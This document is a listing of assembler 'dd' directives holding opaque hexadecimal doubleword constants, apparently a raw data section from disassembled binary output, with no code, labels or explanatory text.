dd 12F59506h, 0D4964305h, 5022A201h, 0F646C190h, 0E81761ADh
dd 9F877591h, 6197E002h, 0DA009AE5h, 91C12CA6h, 250DD1EDh
dd 4E57F2Eh, 426071E4h, 3A124618h, 98B24307h, 48025C03h
dd 68F0B153h, 0FD006AE3h, 0FCD42037h, 48AC38B4h, 0C722586Eh
dd 0C32C9098h, 0BE09A009h, 0EB80E9C8h, 903B4848h, 2FC6240Ch
dd 239F701Ch, 37B66700h, 8A7B06Bh, 3F4002DAh, 4F1EC07Fh
dd 0BFF62068h, 6478E416h, 87658002h, 9B58E1B8h, 6E4AE47Ch
dd 0EF330ED4h, 4117C654h, 0B6B22C58h, 218000E0h, 2A2EE48Fh
dd 82F931CFh, 53A65E54h, 3AA913B0h, 1E712334h, 0C098005Dh
dd 0CC10485Ch, 0BCD03CF9h, 4D008C7Ah, 92225546h, 2EB185CEh
dd 1C987C88h, 130E0E7h, 0EF583143h, 0C881E998h, 8A8FC9EAh
dd 0FC55ABh, 0DEC47C27h, 3A00DDECh, 91C6F320h, 49D06CEAh
dd 0A4C8468h, 0F11C4B5Bh, 7111301Dh, 0BF1CBC82h, 103EE858h
dd 0B6F21705h, 53407C40h, 3C04C2AFh, 0E409DE73h, 1C442025h
dd 8A80EA7Fh, 182769E5h, 78C0F46Dh, 1EB7FE66h, 3A74A267h
dd 10812107h, 0F22680DAh, 69CD85E6h, 0BAE039A9h, 5DD40017h
dd 6F044DAAh, 1C0942E3h, 0D25F60C7h, 7ECA0928h, 0A0496BF7h
dd 9DC8AD07h, 80F91168h, 3D72039Ch, 0E6FB0347h, 0A776FAAEh
dd 21689804h, 7C9E6373h, 77BC07C0h, 0E648552Ch, 0DB211678h
dd 1C915088h, 444DCA92h, 0AD41AF16h, 150B86Ch, 0C6A88FC0h
dd 222ED7Eh, 9D146E2Ch, 873D6035h, 1FBF05BAh, 0E2B6A050h
dd 0D5EC01D4h, 89C23758h, 0E0E03082h, 0E3262518h, 22F791h
dd 0A148443Dh, 0E67936FAh, 8401B8E0h, 6A8F400Bh, 5C33C5F6h
dd 0F83374A2h, 1260EEAh, 8034E7DCh, 5F0B1218h, 759680FCh
dd 9B1302Eh, 0C428AD3Ch, 3D8A3449h, 49C1009Ch, 7CDE70Bh
dd 621300BAh, 0A4CCA957h, 2900D999h, 7DF3E576h, 7BF84C2h
dd 148061B7h, 43A63022h, 450B1FCFh, 65CDD99Dh, 609EC4C8h
dd 1EE3D756h, 0C073C54Fh, 288F0FF6h, 2900BA10h, 0F25CA8A3h
dd 0BC67482Eh, 8C8A690h, 0CF06F41Ah, 719958Bh, 0B552A08Eh
dd 0F542E01Ch, 81F24E15h, 9D86343Ch, 0B826736Dh, 0BE6C2FC0h
dd 0A9EA2538h, 60CFBCEDh, 7B11949Bh, 11A0914Bh, 50B48120h
dd 79DAAEDFh, 8CE46140h, 6459F950h, 78B38718h, 0DAF1E979h
dd 0A8D080E9h, 5C9470B8h, 0A484546Dh, 0B170C819h, 1CFB048Ch
dd 0BC922D34h, 0F3E1B078h
dd 4E3B1F1Ch, 2B2F8952h, 274BB481h, 5FCC485Bh, 0E874E478h
dd 918C1D9Dh, 2416803Ch, 0A11F969h, 43E8A56Ch, 5A3F4390h
dd 4954F5D0h, 331F2DFAh, 65403096h, 193571C0h, 7B8F0484h
dd 0B8CD1AADh, 4D380C7Ch, 0F8AE41C7h, 0FF49A15h, 4E2D8A23h
dd 5E36E780h, 7FE94252h, 3136B1h, 0B724A0CBh, 224D0010h
dd 0D04F8CD2h, 0A700C38Fh, 950F5F36h, 18A1E26h, 0E283C9AAh
dd 0D0A319A5h, 6496F1A4h, 9F872083h, 0C12934E9h, 0F1180621h
dd 6F1F4967h, 807AAAEFh, 240136EEh, 0FA662C92h, 1ED092E7h
dd 0C0F29C1Ch, 9B5B90Ah, 1E0F835Eh, 694712A1h, 79F459B4h
dd 7EA18FBh, 484D9DB0h, 0ED0FB468h, 46CA08E0h, 79100982h
dd 2418F70Ch, 4F6E4813h, 94DE2CB1h, 437821FCh, 646C4525h
dd 503633Eh, 95CBC430h, 0B37881B0h, 0E0FC0243h, 5D4F32Ch
dd 50CB5D58h, 0A2FCE397h, 7CC33190h, 215C77F4h, 9D1AC400h
dd 3784A4BCh, 0CA280469h, 756AE8F4h, 0C0605871h, 97690F88h
dd 83FF1160h, 0D476C260h, 41DC3CE1h, 26BB2792h, 0FC11849Dh
dd 9560AA8Fh, 4556C4E3h, 5402354Bh, 4C572BBh, 1CE88Fh
dd 5087DFC6h, 5D719352h, 2F5A4C89h, 3C2334h, 0DFC5D75Bh
dd 2F39E4CBh, 0BE4A7988h, 7D581C80h, 4E63902Dh, 233C2FEAh
dd 1AE3009Eh, 34F49C8Bh, 29184102h, 9BC028F7h, 5E8799C8h
dd 0B49A4F0Eh, 61DC0480h, 522C39AAh, 4100B54Ch, 7AC2AC8Bh
dd 649D9FA8h, 0D480FB91h, 0C8364EEEh, 62206A1Fh, 467C9024h
dd 4FC1003Ah, 7C0A2FB3h, 0F9450089h, 25B4C4A0h, 5A1EAF75h
dd 7E05F1B6h, 5CE5338Dh, 0DC01C7E9h, 0A06F3B51h, 68805819h
dd 6C694Dh, 1EF48A3Eh, 12E2A9B5h, 8C7FF622h, 1A10CEA8h
dd 661CF4E1h, 0DA0B4921h, 3244D4E7h, 0C6C40C60h, 26726D16h
dd 0D8B7FCB3h, 0B84AE0C3h, 12AF522Fh, 84E29EBAh, 0A28CE314h
dd 20FE3197h, 0F4409AB0h, 397E3A66h, 0CA60445Eh, 582912CFh
dd 91E28862h, 5F614430h, 8C8C301Ah, 82EBC25Ah, 1ECABF60h
dd 4138EA33h, 32101964h, 0C14A28EAh, 0C88A5449h, 6AE1C4h
dd 3CE02780h, 6F17E609h, 5406F44Ah, 7731E426h, 0E97500CBh
dd 0CEFE388h, 0F007806Dh, 296A92B6h, 30D872F9h, 0FE59A18Bh
dd 603A72Eh, 62FAACA6h, 34880B8Fh, 141253BBh, 7DE7A470h
dd 0E8B21618h, 70B278F3h, 310E8530h, 81F8DB2Eh, 3BE401AEh
dd 0B2C6EC2Ch, 23461999h, 2388C616h, 0A2E59F70h, 343A2498h
dd 9C467Eh, 74AE9E68h, 78230CE8h, 0AD520CBAh, 7D7172FAh
dd 8FFCD709h, 7828108Ah, 0A4A7A0B0h, 0DC39006Fh, 47CFAC94h
dd 523AE7F6h, 7AE104C8h, 0A8A6CC7Dh, 860EB6B0h, 0F600A490h
dd 8B8E54ECh, 9BCC4F9h, 3156ACC0h, 0B72FEC18h, 98B88507h
dd 0DC4ADC97h, 4050DF60h, 0BCDEEC19h, 88CD2D78h, 911EB1C0h
dd 38DE5CBAh, 1E790310h, 5B1EA112h, 0E49AFA7Ah, 70CEBCF0h
dd 0FDF8308Eh, 0C792058Ch, 861AAD53h, 5401481Ch, 383E5137h
dd 0F6F25B27h, 45D178Ch, 7B5FE360h, 7F9AD06h, 0C4131CE1h
dd 1CA0096Eh, 4D61023Ah, 1DF7723h, 4F0EF4C0h, 9A036492h
dd 4AE86F11h, 824DA09Eh, 0C431034Eh, 0B38EA897h, 2AC16D81h
dd 93D9C019h, 3DF07C76h, 4A038FDEh, 0D7547B0Dh, 0C194673Ch
dd 42C0F0B6h, 8A0FB448h, 8A5817A2h, 465634CCh, 1264009Eh
dd 0AC13C82Bh, 0DCA5008Bh, 9CDE8032h, 0C4130D04h, 28A44D52h
dd 0E787002Bh, 0C96E9969h, 560B2D82h, 50FF2165h, 0F2D60A08h
dd 7DCA61Eh, 905CC063h, 6E50EA74h, 0C44C73F0h, 0F24C791Ch
dd 8C9DF8E4h, 80C00A39h, 7123B4EEh, 5525C48h, 0E8BEC2ABh
dd 0C8FC8EDEh, 0EAB7C0F6h, 4C00473Eh, 0C3D79B17h, 95A5AB7Ah
dd 7176AC90h, 60203041h, 820E20C2h, 86A94202h, 47A153DCh
dd 603F4444h, 198D3BFh, 114E96DAh, 2AB32169h, 8CE9B404h
dd 0ACA90080h, 222D1734h, 0E024A663h, 45221h, 1B71BA42h
dd 229068CFh, 0C14E5327h, 0A033A5E4h, 0A23197B2h, 37001023h
dd 97253CF9h, 0FD1A757Bh, 7EB0A703h, 30465E3Ch, 8C8D5A00h
dd 9C1F78ECh, 4EF21527h, 56A0946Ch, 8F00F746h, 6E8A7696h
dd 0A70020DAh, 4D29665Eh, 4A2DBF5h, 5594D550h, 0AC44BD8Ch
dd 0EC021316h, 76540421h, 0E45E01F7h, 2A0D8D26h, 0CD03606Ah
dd 0E7EABE1Fh, 0A409A8B0h, 0EB26A919h, 0CDE0C0D9h, 20880129h
dd 83408FC6h, 0BCD87CA9h, 99008C7Ah, 0D057A675h, 0D9C59h
dd 5B127837h, 0CD850781h, 9522C0A0h, 3135880h, 4D2CBB25h
dd 48304AA2h, 0BA19B901h, 79490F12h, 83E2DA89h, 0B0DE1A18h
dd 544C13DEh, 0B214A6E8h, 88CE303Dh, 0D439C201h, 0ECA3E762h
dd 40914470h, 0B092238Fh, 35F8AD90h, 188A374Eh, 23542B4Ah
dd 3A3000F8h, 0D8D41BF1h, 8DF53900h, 0C685DB9Eh, 0C129D3CEh
dd 4E3D288h, 2CC2ECB8h, 870A25Bh, 2894A52Eh, 79C4674h
dd 0C3F08CC7h, 0A8AB3243h, 4B537194h, 0C8A88E41h, 4ACBC033h
dd 2750E305h, 20B5010Ch, 8BAA5970h, 8A5C2581h, 3F8C3420h
dd 260ED37Eh, 367D58FDh, 5B4218B0h, 0F95081CFh, 0CC01D4C6h
dd 0B28218C1h, 0F889F5CAh, 788943BEh, 321E7CF1h, 1670B440h
dd 44D2AAA5h, 7B0038FCh, 0FB924F46h, 220AF03h, 1408A6C0h
dd 4474FC95h, 67D10C84h, 891A0F22h, 447985h, 4D455B18h
dd 5CB659B7h, 0C4E4AFh, 0F3DE7570h, 0ACBF69D5h, 67171EE2h
dd 0F880E319h, 0C0E526F9h, 7FBF65B1h, 1403F2B8h, 8AE8FD4h
dd 2FBCA8ACh, 52BE0E64h, 76A22242h, 0FC90CDB5h, 0A180EEF6h
dd 0E44299Ch, 0FE6E00B0h, 6ACCDC4Ah, 5C3B2918h, 964FC70h
dd 0C41473ABh, 402FC884h, 76E757F9h, 287E650Fh, 0C174C186h
dd 5CD400C3h, 3B280246h, 0BD68B88Ah, 0D0027474h, 203335AFh
dd 941970E4h, 0A4ABA30Ch, 2A568949h, 1C8CEC89h, 4C661E2Dh
dd 0ABC1C7C5h, 0C62A20h, 0BF7F348Ch, 0A532E890h, 0A8913E1Dh
dd 0C6496B18h, 8D54966h, 0A441EB2Fh, 27340095h, 5924A043h
dd 926FFEE9h, 0F2AE175Ch, 6AB8A00Eh, 0C30F712Dh, 84E8D450h
dd 9B084CFh, 0CC3EAB22h, 5614BE20h, 0E4019D46h, 0A80DFD04h
dd 54F66028h, 683C0C24h, 26218D08h, 0CCD608A8h, 0A8EC1602h
dd 79A0A019h, 5EBEB2DCh, 23302E8Ch, 0AD3A0035h, 7E78E355h
dd 10105B5Ch, 51284B17h, 60649878h, 83DB8995h, 0DC1E3814h
dd 0BB521586h, 60E82CADh, 4AEAA000h, 0E55516Ch, 27A3025Ch
dd 0B61E430Fh, 465EE45Ch, 96943F30h, 0E6130Ah, 187C46E0h
dd 3A2BCD00h, 0A9378E6Bh, 0F9B0B1A1h, 4F0E1835h, 0ABC4601Fh
dd 5E80CBDAh, 22312456h, 34E5A550h, 50B47BC9h, 4600E13Bh
dd 490F7B1Fh, 12DAAA3Fh, 0B02F26CAh, 0B4AD8FDCh, 11C10AC4h
dd 56D9AB7Ch, 0E434283Ah, 45EACAAh, 6ABFF441h, 20E0ADFFh
dd 0BAF22FCEh, 0DF328060h, 91CAAA0Bh, 64B047EFh, 98FC60F9h
dd 3E34E85Eh, 3E3A4012h, 0F3786312h, 43BB20CCh, 68F64A0Bh
dd 2AB825A0h, 0C296304h, 0FCBC1F2Fh, 0FB1A20A2h, 0D04F51CCh
dd 8EEC68DDh, 59AC1800h, 49E726C9h, 0FC9697DEh, 0B5BF2144h
dd 9F004CB7h, 0B1E88591h, 80B40125h, 0EDABACBh, 3C242447h
dd 0F2E7FB00h, 39823B18h, 451302BEh, 0ADE31022h, 0A924D45Eh
dd 6C9EF420h, 9D465Eh, 0F4BD64F0h, 9E82DC0h, 219D76C6h
dd 7179E45Bh, 35003618h, 6C3B7344h, 0C72B396Eh, 0C958A858h
dd 4328E804h, 0C8A3513Dh, 77D1F649h, 21530003h, 0C2E04E1h
dd 0FD6B8E7Fh, 0EAE407C8h
dd 9092F7A5h, 0F4BD8Fh, 0ABCD6F5Dh, 3C0166B5h, 4A70798Eh
dd 0F039271Ch, 8C6BEB00h, 0AB112996h, 0D4225407h, 0FB231883h
dd 52CE5828h, 87EFDE00h, 0A6C5BF06h, 30D15499h, 0AF1E9218h
dd 0B30FA162h, 0B0A3533Ah, 4C3075B2h, 127D0020h, 0A50CD49Ch
dd 0C06242BAh, 0DA6EC650h, 2044B080h, 261AC216h, 0FBF0A59Ch
dd 2C76705Ch, 6B22D216h, 1812B4A0h, 0E12942ADh, 0A701BE60h
dd 0C8360A4Ch, 0BDD45DBAh, 2A0E45Bh, 1828DA64h, 18804D9Ch
dd 0CCE14F7Fh, 0C744203h, 8897CAABh, 175EFAF9h, 0DF8C586h
dd 6FC8C374h, 5200386Fh, 8630A601h, 4654BB2Fh, 5612C4B8h
dd 50023C4Dh, 0D6772660h, 0CE8542BCh, 0A4532C01h, 0DE0FC468h
dd 95A4BFBCh, 329481D5h, 88DC4FCEh, 18CAC07Bh, 4E00B78Eh
dd 991E3479h, 255C68A1h, 4D141AFh, 7B18FC79h, 0D1403F3Ch
dd 92CCFC98h, 5904718Ah, 0CEC8199Eh, 1B4839ADh, 7752FA80h
dd 0EF81AF61h, 8A6C102h, 0E0E994F9h, 95B87E9Ch, 0DE836C00h
dd 0C815A0B4h, 0A8D85D58h, 58F48C9Ch, 74F24A02h, 5D5BE644h
dd 0E063E091h, 3601D7BDh, 0E03F9BD5h, 9D319E74h, 112A1C0h
dd 3492546Bh, 2C42AA8Dh, 0E82727B8h, 74A79488h, 40C9C38h
dd 87EA3736h, 0ADB8C2F0h, 4B0ED448h, 171980h, 0A4E5C94Ah
dd 7AE21B0Ch, 240CE8F0h, 0B92293C4h, 0B71C042Ch, 0ACF77968h
dd 66AA2728h, 22204674h, 0AB230C52h, 27697FA3h, 34A1FE63h
dd 0F7E09883h, 584226B7h, 0B1550022h, 0C47B9D3Eh, 81FF1602h
dd 64D423F8h, 80C6EE48h, 0DD5B1AACh, 84B8EC84h, 481483C0h
dd 0ED978730h, 83E6C06Ch, 38169477h, 1088A747h, 981A0F8Eh
dd 819EA619h, 208C0F65h, 6F12F52Dh, 0ACB81802h, 48605C21h
dd 60214B84h, 8DA1089h, 9E2EE9FEh, 3F019D04h, 9701F02Ch
dd 8C3D8441h, 5CB204h, 8240D0A3h, 0B77E0F16h, 2DB099h
dd 7C4BC9EBh, 4EE53CE2h, 4F0E7A80h, 5D36E7C3h, 12EF933Ah
dd 98973B5Ch, 23910D20h, 4E25098Ah, 6479C793h, 3D2C0F64h
dd 67298F66h, 0B7188021h, 0E149D2CBh, 64302E74h, 0E1FACBAh
dd 73CC5711h, 48F9E360h, 290C5254h, 0F8C5B810h, 0CE9F4B59h
dd 25C3101Ch, 3450A80Ah, 93D359C0h, 4CDACD21h, 3D4A18C3h
dd 0C026A007h, 0F3FE692Fh, 0E4EBA087h, 0DC5C942Ch, 67D85709h
dd 25707EAFh, 0A8B914CEh, 0C0183D79h, 36A37C00h, 0C2152044h
dd 6004BDA9h, 71680191h, 3B2B1085h, 0E3A239Ch, 409D4BD0h
dd 643F53DEh, 48090237h, 7B61BB5Ch, 56202E38h, 7A02FD46h
dd 0C828DB7Ch, 0F14C305Dh, 417B0223h, 0B3DD06D8h, 2D1110F6h
dd 8E28255Fh, 0CE7A88ECh, 8C450820h, 88056FBAh, 9E7A97D5h
dd 0DBD300C0h, 0DD834B62h, 702B3A3Ch, 0B4009623h, 50DE8013h
dd 0C4B50B5Dh, 2422C75Eh, 85EADB6h, 2F76054Fh, 2731CBDh
dd 0C66F2A88h, 8058666Dh, 0AF5A8238h, 719469F0h, 66B32C10h
dd 0AC68FD41h, 48C77BCh, 0B59E4C0Eh, 0AE3Ch, 646F07D7h
dd 588C0022h, 292E293h, 8F27AEDFh, 50B7F3h, 7281556Eh
dd 0F158383Ch, 0D12402ACh, 7242E7FDh, 0E1CEF478h, 0CC78DCh
dd 0BCE86D72h, 0BE377491h, 9761D00h, 0A32955A5h, 0FCA75040h
dd 2069095Bh, 0EC7E5F5Eh, 13324676h, 0F65A62h, 0C866A312h
dd 1E4B2C18h, 44BBC9Dh, 6AC19188h, 203FED28h, 6CFB9CF4h
dd 0A4D95200h, 0AFF49117h, 0C9F309B0h, 0D0714D79h, 27FDFCAFh
dd 338F3480h, 934AAEC5h, 18558CB0h, 0D12223E3h, 2C26ECF7h
dd 0E7A550DBh, 67FFC460h, 0BF1EEF01h, 1807C838h, 0E9AF3EF2h
dd 0A67988D3h, 3A366D30h, 29963213h, 8198D5C9h, 39448334h
dd 0BA5B7A4Ch, 0B99498C8h, 0E91128h, 0A7FFBE9Fh, 261E3076h
dd 11495C7h, 0D22D23B4h, 0FC6E7B63h, 0CC53B900h, 0CB725E6Eh
dd 692576EEh, 0EE20CC5Dh, 0F008B797h, 9F2F3D88h, 0FD91F49Dh
dd 0F97ACF82h, 0C25C64E0h, 6021D8A5h, 1B18F851h, 0ACF66F01h
dd 0C96CCABCh, 40650470h, 0B324B825h, 6DAD2022h, 0F245C084h
dd 399724C7h, 0BC238970h, 0D303CF2h, 618A032Ch, 0C8A21CB1h
dd 0AF42A3BAh, 1F4B8D4h, 57BCED44h, 2E9201A6h, 3223BC3Ah
dd 0C65D6A01h, 0AC681156h, 0A2A36002h, 0B0F2F6C1h, 0E88B195Ah
dd 0F5C076C8h, 7CFB3ACAh, 2FE4251Ah, 0A10EA418h, 4BD08A80h
dd 0AD988414h, 125DACCCh, 4BF0E09h, 6F4758h, 11691EACh
dd 424D4AABh, 0D2803AE8h, 0FE6460E7h, 3ACC2060h, 46516D04h
dd 8FCC56Fh, 0DC097E25h, 357900F1h, 0AD0B7418h, 0A194611Ah
dd 7AAB1958h, 899B082h, 745CCDE0h, 0D32C203Eh, 43580010h
dd 796703B0h, 70618728h, 14EDD8F8h, 0FEB23CB2h, 79115330h
dd 0E506272Fh, 0A1CA78C3h, 32116C97h, 48635181h, 4E0C7212h
dd 32832C20h, 0EBC90058h, 2AA9BC18h, 1A1F2BEDh, 8D84E45Eh
dd 0B8F8FAAAh, 0C033CF00h, 0EA3150ACh, 6255AF09h, 0D6C4DCCCh
dd 0C93EAF02h, 0E0ABC39Bh, 0F6335034h, 50B79DA5h, 0A8AB9980h
dd 190D8ADh, 0F533E58Dh, 3EE44A52h, 302D644Eh, 9A0DA28h
dd 6EB3BB97h, 0D32588F6h, 53A470F4h, 8B38A97h, 123CA108h
dd 8F04E82Eh, 99D27D58h, 28AED824h, 918676C4h, 18FA71B8h
dd 0EDA05A0h, 0A86E5882h, 0D1E13254h, 0DC50D491h, 991B2A00h
dd 0CAF20FF7h, 58D300D4h, 6F68A186h, 0C5FC1829h, 0D1480E30h
dd 0C97C10h, 0F132757h, 8A91E6DFh, 5B129BF6h, 0C845B623h
dd 0B845CF79h, 9EE28Eh, 73D3EFC0h, 5D67A6ABh, 4DF2C419h
dd 70AC5C9Ah, 0DA24B9ADh, 0DE98A2h, 208F19B9h, 0A0DEFCDBh
dd 69984A03h, 0B4A2BADDh, 460BBCACh, 702EB176h, 6064A3E2h
dd 3252FC80h, 4498AB2Dh, 26A028D0h, 8B1749B4h, 6690B4h
dd 7D043F0h, 0DE99ADBAh, 0C34863Ah, 0C94D01E7h, 0A0DA00EEh
dd 5B40EF74h, 7B04A8CFh, 13306BF6h, 2F7042BBh, 7C74B878h
dd 0D3BB0F85h, 0B43A8424h, 0EE127323h, 0E8AD8BDh, 10FA0010h
dd 0E7FB3B83h, 3F29C539h, 12850746h, 784025B9h, 4CABF20h
dd 2F219357h, 0B224E36Fh, 140E3031h, 0F516761Fh, 9D0475EEh
dd 2FAE588Fh, 0F62334h, 0FFF3C8D9h, 9E3E1E70h, 0B82D7687h
dd 94C5253h, 3CBD5E66h, 0FF51F85Eh, 0A7AB2110h, 3F14C49Dh
dd 0C6860A37h, 38C27566h, 0B1964100h, 23F8BA5Ch, 5AA70901h
dd 405EE376h, 0A8E25292h, 87191A82h, 0D17E881Bh, 7D50CB3Ah
dd 2E01CC11h, 80BC285Eh, 0F4C7B9BFh, 0E59C2C9h, 2C60B387h
dd 0CD327018h, 2968B880h, 0DC0F65h, 0CA2335B4h, 3600A44Dh
dd 0C99FAC38h, 2CCAF31h, 2DD88A86h, 0B7D0B26h, 2DCF048h
dd 5EC45FE0h, 9C69C889h, 0B4092E1Dh, 0F8AF09AFh, 563FC4Ch
dd 70E30EADh, 9388F81Fh, 4D4F9C04h, 0EFC2AC04h, 7A101040h
dd 97B4C421h, 7EC09C00h, 4697493Bh, 0E9384410h, 22435496h
dd 9888C847h, 0DFC80042h, 0FC7C0B40h, 8509342Ch, 5CF88AB4h
dd 85589EECh, 0BCE72967h, 0FAAE06B4h, 68198D2h, 6F482745h
dd 78303180h, 0A495EC2Dh, 0C7D25FE2h, 5A8D7018h, 0F8BCEDC2h
dd 2AC17E05h, 91A0B8F0h, 4BEC20A8h, 7A2CA6BCh, 2DDB0E40h
dd 0C84BF2ACh, 0A25D76EAh, 0F6A58614h, 9C467454h, 3EB81200h
dd 0C66488A4h, 0C88ABF2Fh, 0D9CE0Ch, 0F03F470Eh, 0AB1709FDh
dd 0F4CD7602h, 5FB15840h, 0A3CA7882h, 0F9C4B8E7h, 5BC0D660h
dd 0BDF68339h, 60E2A7BCh, 246ABFB0h, 97F84F71h, 81A0082Eh
dd 10E83212h, 0C8508A92h, 0DB00C9FAh, 7DBFB0A2h, 2CA6C002h
dd 551DD205h, 0EB00FC37h
dd 10CFC190h, 58B6004Eh, 0B0407F41h, 0BCB9CB29h, 0A8AD8B0Ah
dd 0B841FD80h, 10702CDh, 2D729EA7h, 9EA5D91Ah, 261234D8h
dd 9F31E431h, 18625902h, 4676B4D4h, 74F0591h, 0A0F2C6F8h
dd 1DD50E09h, 0F2DA070h, 9F78876Fh, 812B86h, 52DD0296h
dd 82AB8E27h, 0F728EC00h, 5644109Ah, 48CF6759h, 0F3CAB2DCh
dd 0AC283875h, 247200C8h, 2A4B3F27h, 1C00EA74h, 0CEADCB75h
dd 225BFDDh, 0BB2F6640h, 3068E9FEh, 80AA23E6h, 91A0175Dh
dd 0D2F8096h, 9DBD1ACFh, 0D5336400h, 209FC828h, 0ED783524h
dd 0C0411265h, 93CF386h, 75750A8h, 74399BF0h, 0AC06F494h
dd 0A38ADB69h, 2B540E99h, 972EFD67h, 642F2320h, 0A432FBC4h
dd 5D2C0866h, 1098E82Eh, 387AACD3h, 2402BF79h, 0BB8F46AFh
dd 0E4205E10h, 0A73C5EC5h, 7480096Eh, 0D0F3496Ch, 4C529770h
dd 3F003636h, 0C0F4B8Fh, 0CA0A7C2Fh, 94EDA466h, 708C7B25h
dd 7F0FCE0Bh, 89BD61DDh, 1EEC843Eh, 0A55B74C1h, 6E249C2Eh
dd 443BEF4Eh, 54007A23h, 9C38C2F5h, 0EE1B0E27h, 0AB4E7133h
dd 0A0F02737h, 0E98A7B9Bh, 869D5412h, 0E88550F2h, 23A43EA7h
dd 8E3D02FCh, 90778AB6h, 9335D4h, 0AD999EFEh, 80FD10E8h
dd 0DD5B8902h, 0FBCAF62Dh, 166D8B00h, 0B1CFF0C7h, 59670C80h
dd 0DB5AED52h, 0E9807C9Bh, 0CC0B9F2Bh, 67A11204h, 84F28C5Dh
dd 3E303AE2h, 0CBE80077h, 82859B03h, 5E161565h, 0F8E1BD7Eh
dd 3D00882Fh, 8A5C55F8h, 0D0B4259Eh, 2EC21288h, 2F8CA077h
dd 27E3060Bh, 0DC98A92Bh, 5276DC98h, 0B88C2009h, 11ECD4C0h
dd 1ACE048Bh, 44AE9909h, 0AB6487ECh, 3A234C3Bh, 38E5D500h
dd 0E00EFEC2h, 98C125BCh, 42E67860h, 1984697h, 0EAB91028h
dd 28BAC483h, 548A3EB8h, 0CC9D6FE8h, 0A0CC4BC0h, 0F84AF71Ch
dd 580094CAh, 0FB8B2A6Ch, 8D4AE9EBh, 5C0054E2h, 48C58E29h
dd 12000522h, 7D0C7FFBh, 926B1Eh, 41C360A2h, 8FD6AB18h
dd 0F1DC3809h, 0B0B025C4h, 0F008CCh, 1716207Ch, 1E09C259h
dd 0C34BE03h, 0E0014386h, 97C4FD7Ah, 3501ECE6h, 24230E12h
dd 0E03298A8h, 595CC10Fh, 9201652h, 845BAFE4h, 8BE618B1h
dd 2A216A01h, 8C048053h, 8A0F8429h, 2C0F2748h, 0AC5237BBh
dd 894B40E3h, 0F49B3E14h, 0F1CEA3C7h, 7EBF0F46h, 0CC710C20h
dd 1C620047h, 0E28E0178h, 6C981257h, 681ABEF2h, 0DDB08D71h
dd 3111E09Dh, 2BA0868Fh, 1AAF72C1h, 0D18E2125h, 5CC86A38h
dd 0DB003F46h, 0FA4F2A73h, 0C021390h, 3F830D25h, 805CD442h
dd 395E0B4Ch, 0C8042C18h, 6A484684h, 943040C9h, 0E8A89835h
dd 0A0691755h, 0AC10A98Fh, 0CDA30033h, 0C428E896h, 3BE97976h
dd 4AA6874h, 0BA8507D8h, 66482405h, 4EB84C8h, 0B4A7815Ch
dd 5F68BCFAh, 0C880CCDBh, 86BFAF68h, 0DD8C0D00h, 0C937ACC1h
dd 28A9B516h, 0EFAD245Eh, 80A4070h, 3800CA96h, 8258D78Fh
dd 1E04C212h, 183653Bh, 86066403h, 3DC887DEh, 0F6C06038h
dd 127CCB14h, 0BC34D7E0h, 0A4DEC7E8h, 0C5251E61h, 4CC4F420h
dd 43014899h, 5E52BACFh, 2CD12AE7h, 4052A59h, 0F79690h
dd 0ACC09BBEh, 8AAB4B54h, 0F8E64FF8h, 0D34E0E7h, 7612A920h
dd 74BC95C4h, 0AC21CDA2h, 0F42C92FAh, 19FF8A09h, 0FB76207Ch
dd 53047318h, 0EA941270h, 0D3EA08BCh, 0F7C8348Bh, 992ECCC0h
dd 0A5C002B9h, 0DDD1C7Ah, 3B07DC40h, 804D07Dh, 0C928DFBCh
dd 0B18B6CE4h, 0B7EF0120h, 0EC839279h, 0D512A89Dh, 38F2B4F8h
dd 0A4455688h, 6F9830AAh, 104B738Dh, 887E40DCh, 364F58A8h
dd 24A9F4C4h, 23142BD7h, 4CB9029Fh, 0A48156D1h, 2020D70Eh
dd 69083854h, 2681B21h, 89E2F218h, 377D2042h, 3CCD0024h
dd 0C010C3C1h, 44674F02h, 7C3BA556h, 0E3BC9220h, 3076E2BCh
dd 60002E1Bh, 0AC45F675h, 45F26A0h, 1AD4BB92h, 0B417BAA9h
dd 6A3BE8CDh, 0A37F02E8h, 841ACB74h, 0A0C1B8D0h, 742FC189h
dd 0C1F0AC1Ch, 0F86ABB22h, 4A5E9064h, 0E2B4B3C7h, 0C0793092h
dd 0D9CABF04h, 1480F9A0h, 9DE1F655h, 0D5E6064h, 387794B4h
dd 75008758h, 6870E47Eh, 2F1732B5h, 40C5F6A3h, 4077E8E0h
dd 5A02AF67h, 3A02D31h, 0B09DF592h, 81807491h, 0BDB97158h
dd 0EA7A8A13h, 805A3C04h, 0C088B813h, 5D5448F7h, 0FCC095F9h
dd 12D1AAEh, 2074529Eh, 0B9763EFh, 40305E10h, 4D29C278h
dd 0CD407000h, 0E9F1FC7Ah, 7F6F0E87h, 0A8209B7Bh, 0C2AFBF4Ch
dd 738C3625h, 0B81192F0h, 783E4BD4h, 29009223h, 0DACF5BC5h
dd 440124EBh, 84EA40DCh, 28036BABh, 0AE9F87B7h, 52881058h
dd 2F380589h, 25EEE2BBh, 0A6008CA0h, 5E5DAF01h, 12713FE9h
dd 0CC3557C2h, 0BF02C6BEh, 0AB82F255h, 0D0A7D8F1h, 0E065EBF0h
dd 8180DB2Eh, 5ED213D4h, 4F10BE8h, 1E5B2D98h, 282DAFF8h
dd 9788B00Bh, 0BB2DB2C0h, 51CF61BEh, 242CD17Dh, 5E205BA8h
dd 5CE1BDC1h, 0C3281026h, 9ED892C4h, 8A00DC88h, 0D20D261Fh
dd 2729316Bh, 7CE0B310h, 0AF050204h, 7E2CCF93h, 9F23706Ah
dd 0BC341600h, 7548ACAEh, 78C20735h, 799F9837h, 0E462605Ch
dd 81C45E2Ch, 274B1483h, 0C4221D19h, 8830FAE2h, 989001Ch
dd 0AB2D26F3h, 0B4A4C41Eh, 92CA4112h, 0C7BC5CF9h, 8FED5C06h
dd 719A18Ah, 0A5CBF3DEh, 551A22BBh, 88F4046Ah, 9C539C12h
dd 78E3B8E6h, 1DE00FBBh, 4D221226h, 0FE712Ah, 4ACB25FCh
dd 0DE3F0821h, 0AD767006h, 268146C2h, 0F00609Bh, 14235D68h
dd 0C2C8AEB8h, 20D8F40Eh, 9335F69h, 0F112ADB1h, 323F20D0h
dd 5B2CA04Dh, 0C1689A8Ch, 0A0F95384h, 0D06B0431h, 7F52C4C8h
dd 0A5FFE43Eh, 5A4C685h, 8DE9D763h, 6E34C021h, 0FF01DB3Dh
dd 58EA34B7h, 0F8EBF599h, 0A8AA8ACFh, 7B85B8h, 0D1F05E79h
dd 0D88E5198h, 0F8653101h, 0CDE2EEF2h, 70B2EC33h, 0F2D85630h
dd 1AAD0B1Ch, 49385BDh, 0C912B012h, 7EC04801h, 0C86B4493h
